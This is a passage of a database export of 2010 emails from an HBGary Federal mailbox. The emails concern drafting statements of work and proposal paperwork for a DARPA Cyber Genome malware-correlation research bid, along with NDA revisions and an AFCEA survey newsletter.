will:\r\n\r\n&nbsp;\r\n\r\n1. Identify it as malicious or not based on artifacts extracted\r\n\r\n2. Classify it and place it in the different&nbsp;categories\r\n\r\n3. Allow the operator to choose the category to&nbsp;visualize the malware correlation\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2016,'aaron_hbgary_com/2016.html'),(3533,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001769.M171744P3547Q3533.eml','\"Ted Vera\" <thv31@mac.com>','Re: Training','and change the automated resolution engine to the automated malware resolution engine.\r\n\r\n\r\nOn Mar 4, 2010, at 2:40 PM, Ted Vera wrote:\r\n\r\n> I put the cheat sheet, the lab guide, and a couple of vmems in the responder directory in the cloud.\r\n> \r\n> Recommend you do the first lab, which will walk you through step by step.\r\n> \r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6512,'aaron_hbgary_com/6512.html'),(3534,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001769.M370094P3547Q3534.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: UPDATE: HBGary SOW for Technical Area #1','Can you cost this out and provide a 4 year timeline?AaronBegin forwarded message:From: \"Starr, Christopher H.\" &lt;Chris.Starr@gd-ais.com&gt;Date: March 4, 2010 2:26:50 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Bob Slapnik\" &lt;bob@hbgary.com&gt;Subject: UPDATE: HBGary SOW for Technical Area #1\r\n\r\nAaron, Bob, does this make sense for your SOW for Technical Area #1 – feel free to modify to what you think is reasonable?_____________________________________________\r\nFrom: Upchurch, Jason R. Below is a first cut at what we envision HBGary providing.&nbsp; Modify as needed to with what you think will be reasonable.\r\nMeeting and management support. (plan on quarterly meetings, plus another meeting for end of year reviews with DARPA).Provide the research and development of memory and malware analysis techniques to achieve correlation between malware that share traits or source code.&nbsp; This includes developing and refining signatures of code sequences within software that are of value for correlation techniques.&nbsp; (A primary responsibility, need you to get cost/time/pricing plus support requirements (egg 50 hours GDAIS process review, 50 hours GDAIS signature development, whatever…)Provide research and development of function extraction methods from disassembled code based on previous work with Automated Run-Time Disassembly techniques. (A primary responsibility, need you to get cost/time/pricing plus support requirements (egg 50 hours GDAIS process review, 50 hours GDAIS signature development, whatever…)Provide research support to GDAIS and other team members in correlation techniques for signatures based on, but not limited to, malware artifacts, function extraction, data flow maps, function maps, and abstract function generation.&nbsp; (A support responsibility to GDAIS, guessing 20% man year (400 hours per year))Provide research support to GDAIS and other team members in malware trigger discovery to determine runtime requirements to automate the execution of malware. (A support responsibility to UCBerkley as they will supply the triggers discovery method, you will integrate into into an automated execution structure, really a guessing game on time, what do you think)Provide sample or generated signatures for integration into the correlation database as needed for visualization and POC demonstration. (A support responsibility to GDAIS and AVI/SD, guessing 5% man year (100 hours per year))Provide research support to GDAIS and other team members in the creation of a unified signature dataset for use in malware correlation.&nbsp; (A support responsibility to GDAIS, guessing man year (400 hours per year))Provide research support to GDAIS and other team members on identification and classification of malware (LOE?)Some comments received to add to the above:&nbsp;&nbsp;With their traits, HBGary has the capability to identify functions that belong to e.g.: rootkits, backdoors, etc. HBGary&nbsp;currently does this with the&nbsp;malware in the address space of the memory dumps; could they do the same thing if we provide them with the unpack version of the executable (using SRI\'s and UCB\'s techniques)?&nbsp; If so, should this be another line in the SOW?&nbsp;&nbsp;- Provide research and development for the generation of&nbsp;different categories to aid in the identification and classification of&nbsp;malware (e.g of categories: rooktit, keylogger, backdoor, etc)&nbsp;- Provide research and development for the identification and classification of risk factors&nbsp;in the malware (e.g.&nbsp; installation and deployment, communications, command &amp; control, information security, development, defense, etc)&nbsp;Support multiple categorizations in:&nbsp;-&nbsp;Malware family (showing lineage trees, and similar functions to gain a better understanding of how attacker are re-using function and which ones, etc)- Malware category- Country of origin- Attacker/Author- Attacker group- Packer- Development Environment (compiler used?, etc)&nbsp;So, when the malware is submitted to the&nbsp;prototype it will:&nbsp;1. Identify it as malicious or not based on artifacts extracted2. Classify it and place it in the different&nbsp;categories3. Allow the operator to choose the category to&nbsp;visualize the malware correlation\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14734,'aaron_hbgary_com/14734.html'),(3535,'2010-03-04','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001770.M756694P3547Q3535.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Secure Decisions SOW / TA-3 Cyber Genome','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAttached please find for your review Secure Decisions first\r\ndraft of our Statement of Work in support of TA-3 for the Cyber Genome\r\nproposal.&nbsp; &nbsp;Please call with any questions or concerns you may have.\r\n\r\n&nbsp;\r\n\r\nRegards, Brianne\r\n\r\n&nbsp;\r\n\r\nBrianne F. O\'Brien\r\n\r\nProject Manager\r\n\r\nApplied Visions, Inc.\r\n\r\nSecure Decisions Div.\r\n\r\n6 Bayview Avenue\r\n\r\nNorthport, NY 11768\r\n\r\n(631) 754-4920 x150\r\n\r\n(516) 702-7703 (cell)\r\n\r\nbrianneo@securedecisions.avi.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9194,'aaron_hbgary_com/9194.html'),(3536,'2010-03-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001773.M378186P3547Q3536.eml','\"Aaron Barr\" <aaron@hbgary.com>','updated graphic','graphic\r\n',8640,'aaron_hbgary_com/8640.html'),(3537,'2010-03-04','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297001773.M699454P3547Q3537.eml','aaron@hbgary.com','AFCEA Member Satisfaction Survey Results','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n\r\nDear AFCEA Members, \r\n  \r\n  Each year we conduct a membership satisfaction survey so you can give us direct feedback on what is important and how well we are delivering on those areas of importance. More than 2,500 of you responded to the survey this year. These survey results, available on the Member Portal (www.afcea.org/portal), will help guide us in improving our association and its service to you. \r\n\r\nMember Satisfaction\r\n        Nearly nine out of ten of you reported overall satisfaction with AFCEA, and are likely to renew your membership and recommend AFCEA to friends and colleagues. As in the past, the single factor most correlated with satisfaction is degree of involvement with an active chapter. \r\nAnother factor that is important to member satisfaction is communication. Although we have improved communication over time through a variety of media, many of you told us that is not enough. New members and transfers among chapters don\'t all feel they are being engaged. Many members feel communication is neither broad enough nor inclusive enough. AFCEA International will work with the regions and chapters to focus on this member feedback.\r\n\r\n\r\n  AFCEA Internet Technology Awareness\r\n        AFCEA continues to grow our Internet and Web 2.0 technologies in an effort to improve our communications with members. Awareness of AFCEA\'s presence on Facebook and LinkedIn improved, and nearly half of you are familiar with our webinars. However, many members are still unaware of  AFCEA podcasts, SIGNAL RSS feeds, the SIGNAL blog, and AFCEA\'s presence and services in Second Life. \r\n          We know how important these technologies are and are committed to doing a better job of communicating our capabilities and how to use them. \r\n          \r\n          This also ties to satisfaction with our AFCEA Web site (www.afcea.org). This year\'s responses mirrored last year\'s results, with 75 percent satisfied. We plan to improve layout and format of our website this year in an effort to make it increasingly user-friendly. \r\n          \r\n\r\n        Membership Benefits\r\n        We received good grades on membership benefits and service offerings. Member satisfaction surpassed expectations on all benefits and services, with the exception of networking opportunities. We realize that networking is one of the most significant benefits of your membership in AFCEA, and have taken steps to improve opportunities at events, chapter meetings and in the virtual world.\r\n        AFCEA\'s Future \r\nThe future looks bright for AFCEA and our members. We have begun to take action on your feedback and will report to you during this year to communicate changes and improvements. In the future, we plan to conduct this association-wide membership survey on a biannual basis. Next year and in alternate years this survey will be conducted at the chapter level so that each chapter can get direct feedback from its members. Such a chapter-level survey would be paid for and administered at the AFCEA International level so that the workload would not increase for the chapters. \r\n        \r\n        In the meantime, you are encouraged to provide additional feedback or comments on the survey results by email to ceo@afcea.org. In particular, I welcome any comments you have on how we can communicate with you better. You know how important it is that we offer the best services possible and communicate them effectively. \r\n        \r\n        Thank you for your ongoing support. \r\n\r\n  \r\n    Best regards,\r\n        Kent\r\n  \r\n  \r\n    &nbsp;&nbsp;&nbsp; \r\n         President and Chief Executive Officer\r\n         AFCEA International \r\n      \r\n  \r\n\r\n\r\n\r\n\r\nAFCEA International, established in 1946, is a non-profit membership association serving the military, government, industry, and academia as an ethical forum for advancing professional knowledge and relationships in the fields of communications, IT, intelligence, and global security.\r\n\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n',6086,'aaron_hbgary_com/6086.html'),(3538,'2010-03-04','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001774.M945203P3547Q3538.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Hassen Saidi\" <hassen.saidi@sri.com>,\"Vinod Yegneswaran\" <vinod@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Kenny Prole\" <KennyP@avi.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>','DCG: DARPA Cyber Genome: Past Performance and Bio Templates','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached are Past Performance and Biography templates.&nbsp;\r\nAlso see below.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n571-216-6140\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n_____________________________________________\r\nFrom: Vela, Ryan \r\nSent: Thursday, March 04, 2010 4:46 PM\r\nTo: Starr, Christopher H.; Upchurch, Jason R.\r\nCc: Larson, Cindy S.; Corcino, Stefanie E.\r\nSubject: DCG - Sub RFP/SOWs: For each task/subtask\r\n\r\n&nbsp;\r\n\r\nFor the RFP/SOWs, we need the subs to identify the following for\r\neach task/subtask that you guys are compiling. \r\n\r\n&nbsp;\r\n\r\n1. Innovative claims that succinctly describe the uniqueness and\r\nbenefits of their approach relative to the current state-of-the=art alternate\r\napproaches.\r\n\r\n&nbsp;\r\n\r\n2. Define each technical tasks/subtasks in terms of\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a. General description of the objective\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b. Detailed description of the approach to\r\naccomplish the objective\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c. Description of deliverables to be provided\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; d. Completion criteria in terms of milestones\r\nand deliverables\r\n\r\n&nbsp;\r\n\r\n3. Detailed technical rationale, approach, and plan\r\n\r\n&nbsp;\r\n\r\n4. Comparison with existing research outlining advantages and\r\ndisadvantages of the innovative claims.\r\n\r\n&nbsp;\r\n\r\n5. Past performance and accomplishments (Past Performance\r\nTemplate provided) with relevance to current proposal.\r\n\r\n&nbsp;\r\n\r\n6. Description of the place of performance, facilities, and locations.\r\n\r\n&nbsp;\r\n\r\n7. Identification of one key personnel with significant\r\ndedication to the proposed effort (Key Personnel Qualifications Template\r\nprovided).\r\n\r\n&nbsp;\r\n\r\n8. Summary of cost, schedule, and milestones.\r\n\r\n&nbsp;\r\n\r\n9. Related research, white papers, or supporting information.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11041,'aaron_hbgary_com/11041.html'),(3539,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001775.M153724P3547Q3539.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: DCG: DARPA Cyber Genome: Past Performance and Bio Templates','you need that today? or just in general...On Mar 4, 2010, at 5:01 PM, Starr, Christopher H. wrote:Attached are Past Performance and Biography templates.&nbsp; Also see below.&nbsp;Chris571-216-6140&nbsp;_____________________________________________From:&nbsp;Vela, Ryan&nbsp;Sent:&nbsp;Thursday, March 04, 2010 4:46 PMTo:&nbsp;Starr, Christopher H.; Upchurch, Jason R.Cc:&nbsp;Larson, Cindy S.; Corcino, Stefanie E.Subject:&nbsp;DCG - Sub RFP/SOWs: For each task/subtask&nbsp;For the RFP/SOWs, we need the subs to identify the following for each task/subtask that you guys are compiling.&nbsp;1. Innovative claims that succinctly describe the uniqueness and benefits of their approach relative to the current state-of-the=art alternate approaches.&nbsp;2. Define each technical tasks/subtasks in terms of&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a. General description of the objective&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b. Detailed description of the approach to accomplish the objective&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c. Description of deliverables to be provided&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; d. Completion criteria in terms of milestones and deliverables&nbsp;3. Detailed technical rationale, approach, and plan&nbsp;4. Comparison with existing research outlining advantages and disadvantages of the innovative claims.&nbsp;5. Past performance and accomplishments (Past Performance Template provided) with relevance to current proposal.&nbsp;6. Description of the place of performance, facilities, and locations.&nbsp;7. Identification of one key personnel with significant dedication to the proposed effort (Key Personnel Qualifications Template provided).&nbsp;8. Summary of cost, schedule, and milestones.&nbsp;9. Related research, white papers, or supporting information.&nbsp;&nbsp;&lt;DCG Past Performance Template.doc&gt;&lt;DCG Key Personnel Qualifications Template.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1395,'aaron_hbgary_com/1395.html'),(3540,'2010-03-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001775.M405592P3547Q3540.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: UPDATE: HBGary SOW for Technical Area #1','Nope.\r\n\r\nOn 3/4/10 1:04 PM, Aaron Barr wrote:\r\n> Can you cost this out and provide a 4 year timeline?\r\n> \r\n> Aaron\r\n> \r\n> Begin forwarded message:\r\n> \r\n>> From: \"Starr, Christopher H.\" \r\n>> Date: March 4, 2010 2:26:50 PM EST\r\n>> To: \"Aaron Barr\" , \"Bob Slapnik\" \r\n>> Subject: UPDATE: HBGary SOW for Technical Area #1\r\n>>\r\n>> Aaron, Bob, does this make sense for your SOW for Technical Area #1 – feel free to modify to what you think is reasonable?\r\n>>\r\n>>\r\n>> _____________________________________________\r\n>> From: Upchurch, Jason R.\r\n>>\r\n>> Below is a first cut at what we envision HBGary providing.  Modify as needed to with what you think will be reasonable.\r\n>>\r\n>>\r\n>> Meeting and management support. (plan on quarterly meetings, plus another meeting for end of year reviews with DARPA).\r\n>>\r\n>>\r\n>> Provide the research and development of memory and malware analysis techniques to achieve correlation between malware that share traits or source code.  This includes developing and refining signatures of code sequences within software that are of value for correlation techniques.  (A primary responsibility, need you to get cost/time/pricing plus support requirements (egg 50 hours GDAIS process review, 50 hours GDAIS signature development, whatever…)\r\n>>\r\n>>\r\n>> Provide research and development of function extraction methods from disassembled code based on previous work with Automated Run-Time Disassembly techniques. (A primary responsibility, need you to get cost/time/pricing plus support requirements (egg 50 hours GDAIS process review, 50 hours GDAIS signature development, whatever…)\r\n>>\r\n>>\r\n>> Provide research support to GDAIS and other team members in correlation techniques for signatures based on, but not limited to, malware artifacts, function extraction, data flow maps, function maps, and abstract function generation.  (A support responsibility to GDAIS, guessing 20% man year (400 hours per year))\r\n>>\r\n>>\r\n>> Provide research support to GDAIS and other team members in malware trigger discovery to determine runtime requirements to automate the execution of malware. (A support responsibility to UCBerkley as they will supply the triggers discovery method, you will integrate into into an automated execution structure, really a guessing game on time, what do you think)\r\n>>\r\n>> Provide sample or generated signatures for integration into the correlation database as needed for visualization and POC demonstration. (A support responsibility to GDAIS and AVI/SD, guessing 5% man year (100 hours per year))\r\n>>\r\n>>\r\n>> Provide research support to GDAIS and other team members in the creation of a unified signature dataset for use in malware correlation.  (A support responsibility to GDAIS, guessing man year (400 hours per year))\r\n>>\r\n>>\r\n>> Provide research support to GDAIS and other team members on identification and classification of malware (LOE?)\r\n>>\r\n>>\r\n>> Some comments received to add to the above:\r\n>>\r\n>>   \r\n>> With their traits, HBGary has the capability to identify functions that belong to e.g.: rootkits, backdoors, etc. HBGary currently does this with the malware in the address space of the memory dumps; could they do the same thing if we provide them with the unpack version of the executable (using SRI\'s and UCB\'s techniques)?  If so, should this be another line in the SOW?\r\n>>\r\n>>   \r\n>> - Provide research and development for the generation of different categories to aid in the identification and classification of malware (e.g of categories: rooktit, keylogger, backdoor, etc)\r\n>>\r\n>>  \r\n>> - Provide research and development for the identification and classification of risk factors in the malware (e.g.  installation and deployment, communications, command & control, information security, development, defense, etc)\r\n>>\r\n>>  \r\n>> Support multiple categorizations in:\r\n>>\r\n>>  \r\n>> - Malware family (showing lineage trees, and similar functions to gain a better understanding of how attacker are re-using function and which ones, etc)\r\n>>\r\n>> - Malware category\r\n>>\r\n>> - Country of origin\r\n>>\r\n>> - Attacker/Author\r\n>>\r\n>> - Attacker group\r\n>>\r\n>> - Packer\r\n>>\r\n>> - Development Environment (compiler used?, etc)\r\n>>\r\n>>  \r\n>> So, when the malware is submitted to the prototype it will:\r\n>>\r\n>>  \r\n>> 1. Identify it as malicious or not based on artifacts extracted\r\n>>\r\n>> 2. Classify it and place it in the different categories\r\n>>\r\n>> 3. Allow the operator to choose the category to visualize the malware correlation\r\n>>\r\n>>\r\n>>\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n\r\n',5746,'aaron_hbgary_com/5746.html'),(3541,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001776.M144005P3547Q3541.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Secure Decisions SOW / TA-3 Cyber Genome','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Brianne O\'Brien\" \r\n> Date: March 4, 2010 3:59:28 PM EST\r\n> To: \"Aaron Barr \" \r\n> Cc: \"Laurin Buchanan\" , \"Kenny Prole\" \r\n> Subject: Secure Decisions SOW / TA-3 Cyber Genome\r\n> \r\n> Aaron,\r\n>  \r\n> Attached please find for your review Secure Decisions first draft of our Statement of Work in support of TA-3 for the Cyber Genome proposal.   Please call with any questions or concerns you may have.\r\n>  \r\n> Regards, Brianne\r\n>  \r\n> Brianne F. O\'Brien\r\n> Project Manager\r\n> Applied Visions, Inc.\r\n> Secure Decisions Div.\r\n> 6 Bayview Avenue\r\n> Northport, NY 11768\r\n> (631) 754-4920 x150\r\n> (516) 702-7703 (cell)\r\n> brianneo@securedecisions.avi.com\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2125,'aaron_hbgary_com/2125.html'),(3542,'2010-03-04','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001782.M409178P3547Q3542.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','Request for Proposal - HBGary Federal - Cyber Genome Program','\r\n\r\n\r\n\r\n\r\nDear Mr. \r\nVera:\r\n&nbsp;\r\n\r\nGDAIS requests your company \r\nto submit a FFP/LOE proposal in support of the Cyber Genome Program/Proposal \r\neffort.&nbsp; All documentation applicable to our RFP is \r\nattached.\r\n&nbsp;\r\nImportant - note the due \r\ndates identified in the RFP cover letter and Attachment 1 located directly \r\nbehind the cover letter.&nbsp; Due to DARPA\'s due \r\ndate we have a very short proposal turn around time.&nbsp; ALSO, THE RFP ATTACHMENT 2 STATEMENT OF \r\nWORK WILL BE PROVIDED TO YOU IN A SEPARATE EMAIL BY EITHER STEFANIE CORCINO OR \r\nRYAN VELA.\r\n&nbsp;\r\n\r\nThe following additonal information is \r\nrequired, in addition to what is outlined in the RFP cover letter and Attachment \r\n1:\r\n\r\nPlease&nbsp;identify the following for each \r\ntask/subtask that&nbsp;your company is \r\ncompiling. \r\n1. Innovative claims that succinctly describe the \r\nuniqueness and benefits of their approach relative to the current \r\nstate-of-the=art alternate approaches.\r\n2. Define each technical tasks/subtasks in terms \r\nof\r\na. General description of the objective\r\nb. Detailed description of the approach to accomplish the \r\nobjective\r\nc. Description of deliverables to be provided\r\nd. Completion criteria in terms of milestones and \r\ndeliverables\r\n3. Detailed technical rationale, approach, and \r\nplan\r\n4. Comparison with existing research outlining advantages \r\nand disadvantages of the innovative claims.\r\n5. Past performance and accomplishments (Past Performance \r\nTemplate provided) with relevance to current proposal.\r\n6. Description of the place of performance, facilities, \r\nand locations.\r\n7. Identification of one key personnel with significant \r\ndedication to the proposed effort (Key Personnel Qualifications Template \r\nprovided).\r\n8. Summary of cost, schedule, and milestones.\r\n9. Related research, white papers, or supporting \r\ninformation.\r\n&nbsp;\r\nPlease call the POCs identified in&nbsp;the \r\ncover letter with any questions or comments regarding the RFP and \r\nattachments.\r\n&nbsp;\r\nWe look forward to hearing \r\nfrom you.\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\nCindy \r\nLarson\r\nGDAIS Sr. Lead Specialist, \r\nContracts\r\n',13081,'aaron_hbgary_com/13081.html'),(3543,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001782.M730402P3547Q3543.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','TA1 SOW','timelines and more detail to follow:Provide the research and development of memory and malware analysis techniques to achieve correlation between malware that share traits or disassembled code.&nbsp; This includes developing and refining signatures of code sequences within software that are of value for correlation techniques.Provide research and development of function extraction methods from disassembled code based on previous work with Automated Run-Time Disassembly techniques.Provide&nbsp;research support to GDAIS and other team members in correlation techniques for signatures based on, but not limited to, malware artifacts, function extraction, data flow maps, and function maps. &nbsp;Provide research support to GDAIS and other team members in malware trigger discovery to determine runtime requirements to automate the execution of malware.Provide sample or generated DNA sequences for integration into the correlation database as needed for visualization and POC demonstration.Provide research support to GDAIS and other team members in the creation of a unified malware genome for use in malware correlation.Provide research support to GDAIS and other team members on identification and classification of malwareProvide research and development of toolmarks and latent artifacts within executables that can reveal information about the environment when developed and compiled.\r\nAaron BarrCEOHBGary Federal Inc.',10515,'aaron_hbgary_com/10515.html'),(3544,'2010-03-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001784.M105567P3547Q3544.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Teaming Agreement revision','\r\n\r\n-------- Original Message --------\r\nSubject: Teaming Agreement revision\r\nDate: Thu, 04 Mar 2010 12:11:19 -0800\r\nFrom: Kevin Roe \r\nTo: Penny Leavy-Hoglund \r\nCC: \'Ted Vera\' \r\n\r\nPenny, Ted,\r\n\r\n     Hope this is not too late.  Sorry that I became preoccupied with\r\nthe NDA yesterday.  I have attached a revised Team Agreement.  It does\r\nnot highlight in color the changes that I made, but most of the changes\r\nare similar to the changes I made to the NDA.  The revision should be\r\neasier to enforce and more extensive in protecting your company\'s IP.\r\n\r\n     Please confirm if you have had a chance to receive and review this\r\nagreement in time to help you.\r\n\r\n                                      Kevin\r\n\r\n\r\n\r\n',13369,'aaron_hbgary_com/13369.html'),(3545,'2010-03-04','\"Kevin Roe\" <kevin.roe@att.net>','/aaron@hbgary.com/new/1297001784.M792000P3547Q3545.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Rev 2.1 of NDA fixes one sentence','Penny,\r\n\r\n     Rev 2.1 fixes one sentence in the Choice of Law section in the Non \r\nDisclosure Agreement.  Please delete all previous versions.\r\n\r\n                                                                                \r\nKevin\r\n>\r\n\r\n',6056,'aaron_hbgary_com/6056.html'),(3546,'2010-03-04','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001785.M13693P3547Q3546.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','RE: TA1 SOW','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 6:05 PM\r\nTo: Starr, Christopher H.; Upchurch, Jason R.\r\nCc: Ted Vera; Bob Slapnik\r\nSubject: TA1 SOW\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\ntimelines and more detail to follow:\r\n\r\nProvide the research and development of memory and malware analysis\r\ntechniques to achieve correlation between malware that share traits or\r\ndisassembled code.&nbsp; This includes developing and refining signatures of\r\ncode sequences within software that are of value for correlation techniques.\r\n\r\n\r\n\r\nProvide research and development of function extraction\r\nmethods from disassembled code based on previous work with Automated Run-Time\r\nDisassembly techniques.\r\n\r\n\r\n\r\nProvide&nbsp;research\r\nsupport to GDAIS and other team members in correlation techniques for\r\nsignatures based on, but not limited to, malware artifacts, function\r\nextraction, data flow maps, and function maps. &nbsp;\r\n\r\nProvide research support to\r\nGDAIS and other team members in malware trigger discovery to determine runtime\r\nrequirements to automate the execution of malware.\r\n\r\nProvide sample or generated\r\nDNA sequences for integration into the correlation database as needed for\r\nvisualization and POC demonstration.\r\n\r\n\r\n\r\nProvide\r\nresearch support to GDAIS and other team members in the creation of a unified\r\nmalware genome for use in malware correlation.\r\n\r\n\r\n\r\n\r\n\r\nProvide\r\nresearch support to GDAIS and other team members on identification and\r\nclassification of malware\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nProvide research and development of toolmarks and latent\r\nartifacts within executables that can reveal information about the environment\r\nwhen developed and compiled.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1747,'aaron_hbgary_com/1747.html'),(3547,'2010-03-04','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001785.M205756P3547Q3547.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DCG: DARPA Cyber Genome: Past Performance and Bio Templates','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nToday we just need the task list (a draft of this goes out in an\r\nhour) and whatever additional details of the three page description of work and\r\nschedule you can send.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 5:23 PM\r\nTo: Starr, Christopher H.\r\nSubject: Re: DCG: DARPA Cyber Genome: Past Performance and Bio Templates\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyou need that today? or just in general...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 5:01 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached are Past Performance and Biography templates.&nbsp;\r\nAlso see 